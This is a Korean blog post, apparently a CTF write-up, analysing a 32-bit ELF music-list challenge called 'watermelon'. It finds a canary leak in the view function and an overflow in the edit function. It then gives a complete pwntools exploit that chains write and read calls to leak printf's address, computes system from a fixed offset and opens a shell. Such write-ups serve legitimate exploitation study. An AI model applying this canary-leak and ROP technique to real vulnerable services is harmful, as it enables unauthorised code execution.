티스토리 뷰
어디선가 많이 들어본 문제였는데 이제서야 푼다.
먼저 바이너리를 분석해보겠다.
elf 32bit파일이다
아이다로 분석해보겠다.
메인함수이다.
일단 카나리가 있다.
일단 이름을 전역변수에 입력을 받고 그 이름을 출력해준다.
그리고는 무한로프를 돈다 먼저 switch의 인자값을 보면.
메뉴를 보여주고 입력을 받고 리턴해준다.
menu로 rename하겠다.
case문을 보면 아마 메뉴에 맞는 각 함수들 일것이다.
근데 \xff\xff\xff\xff는 무엇일까.
바로 -1이다. 문제를 푸는데에는 지장없으니 넘어가겠다.
먼저 메뉴 1부터 보자.
case 1 같은 경우에는 v1의 주소를 인자로 넘겨준다.
v1은 4400 바이트만큼의 크기를 할당 받는다.
다시 case 1의 함수를 보자.
add music을 보니 아마 추가해주는 것 같다.
dword_804cB88은 아마 list의 순번을 보여주는 그냥 카운트인것 같다. 근데 이 값이 100이 되면 FULL이라는 문구와 함께 뮤직이 추가가 되지 않는다.
먼저 read로 44* count + a1 +4 에 위치에 입력을 받는다. 맨처음 add할때는 count가 0일 것이다.
0을 삽입해보면 *(a1+4)에는 music의 name이 저장된다.
다음 read를 보자.
44* count + a1 +24에 count가 0 이면 *(a1+24)의 값은 artist의 name이 들어갈것이다.
따라서 music과 artist는 20byte(0x15)만큼 차이가 난다. 왜냐면 그만큼 read로 입력을 받으니깐.
그리고 --------------------------------\n\n을 출력후
44*count+a1(count가 0일때 a1) *a1에는 count+1 즉 출력되는 리스트 순번인 1이 저장된다.
count가 99일때 생각을 해보자. 하면 4400이 딱 맞아 떨어진다.
사실 이 함수에서 오버플로우가 발생하기는 한다.
하지만 핵심적인 오버플로우는 아직 못찾은 것 같다.
암튼 v1은 4400byte만큼 구조체인 것 같다.
{ 순번(4)|music(20)|artist(20) } * 99 하는 것 같다.
이만큼만 분석을 하고 2번 case를 분석해보자.
마찬가지로 v1을 인자로 넘겨줘다.
뭐헷갈리겠지만 여기 되게 중요하다. 아까우리가 적었던 내용을 불러와서 view할 수 있게 해준다.
여기서 딱 느낌이 올거다. canary leak이 가능하다. 공교롭게도 4400바이트 다음 바로 카나리변수인 것 을 알수 있다. add list로 100까지 꽉꽉 채워준 후 1byte침범하면 카나리를 leak 할 수 있을 것 이다.
오케이 먼가 느낌이 온다.
세번째 case를 보자.
무려 추가했던 내용을 수정할 수 있다.
오잉? 근데 bof가 가능하다. 고로 마지막 list의 artist를 bof하여 rop하면 쉘을 얻을 수 있을 것이다.
(여기엔 system함수가 없어서 offset을 구해야 한다.
밑에는 페이로드이다.
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 45 46 47 48 49 50 51 52 53 54 55 56 57 58 59 60 61 62 63 64 65 66 67 68 69 70 71 72 73 74 75 76 77 78 79 80 81 82 83 84 85 86 87 88 89 90 91 92 93 | from pwn import *
s = process("./watermelon") e = ELF("./watermelon")
read_plt = e.plt['read'] read_got = e.got['read'] write_plt = 0x8048590 printf_plt = 0x8048500 pppr = 0x8048f0d cmd = 0x804d7a0 printf_got = 0x804c010
s.recvuntil('Input your name : ') s.sendline("/bin/sh\x00") s.recvuntil('\tselect\t|\t')
for i in range(0,100): s.sendline('1') s.recv() s.send("asdf") s.recv() s.send("asdf") s.recvuntil("\tselect\t|\t") s.sendline('3') s.recvuntil("select number\t|\t\n") s.sendline('100') s.recvuntil("\tmusic\t|\t") s.send("asdf") s.recv() s.send("A"*21)
s.recvuntil("\tselect\t|\t\n") s.sendline('2') s.recvuntil('AAAAAAAAAAAAAAAAAAAAA') canary = '\x00' + s.recv(3) print ("[*]canary : 0x%x"%u32(canary)) # canary leak success
s.recvuntil("\tselect\t|\t") s.sendline('3') s.recvuntil("select number\t|\t\n") s.sendline('100') s.recvuntil("\tmusic\t|\t") s.send("asdf") s.recv() # leak_printf === payload leak_printf="A"*20 leak_printf+=canary leak_printf+="A"*12
leak_printf+= p32(write_plt) leak_printf+= p32(pppr) leak_printf+= p32(1) leak_printf+= p32(printf_got) leak_printf+= p32(4)
leak_printf+= p32(read_plt) leak_printf+= p32(pppr) leak_printf+= p32(0) leak_printf+= p32(read_got) leak_printf+= p32(4)
#leak_printf+= "\x90\x94\x04\x08" leak_printf+= p32(read_plt) leak_printf+= 'AAAA' leak_printf+= p32(cmd) s.sendline(leak_printf)
s.recvuntil("\tselect\t|\t\n") s.sendline('4') s.recvuntil("\t\tBYE BYE\n\n") #s.sendline('/bin/sh\x00') #print(hex(u32(s.recv(4)))) printf = u32(s.recv(4))
#print("[*]printf : 0x%x"%(printf))
system = (printf) - 0xe6e0 #print("[*]system : 0x%x"%system)
s.send(p32(system)) s.interactive() |
'pwnable > CTF write-up' 카테고리의 다른 글
사이버 가디언즈 1차전 pwn, miscwrite-up (0) | 2018.06.29 |
---|---|
[Codegate 2018] catshop write-up (0) | 2018.05.27 |
[CSAW2013] exploitation-2 write-up (0) | 2018.05.14 |
[trustealth]easy write-up (0) | 2018.05.13 |
[CSAW2013] Exploitation-1 write-up (0) | 2018.05.12 |
- glibc
- HackCTF
- rt_sigreturn
- pwnable
- SQLi
- overflow
- FSB
- srop
- pwnable.tw
- shellcoding
- fastbindup
- exit
- tcache
- stack reusing
- heap
- 본선가고싶다
- pwable
- 해킹
- TLS
- fastbin
- ebp change
- codegate
- fsop
- hacking
- oob
- Total
- Today
- Yesterday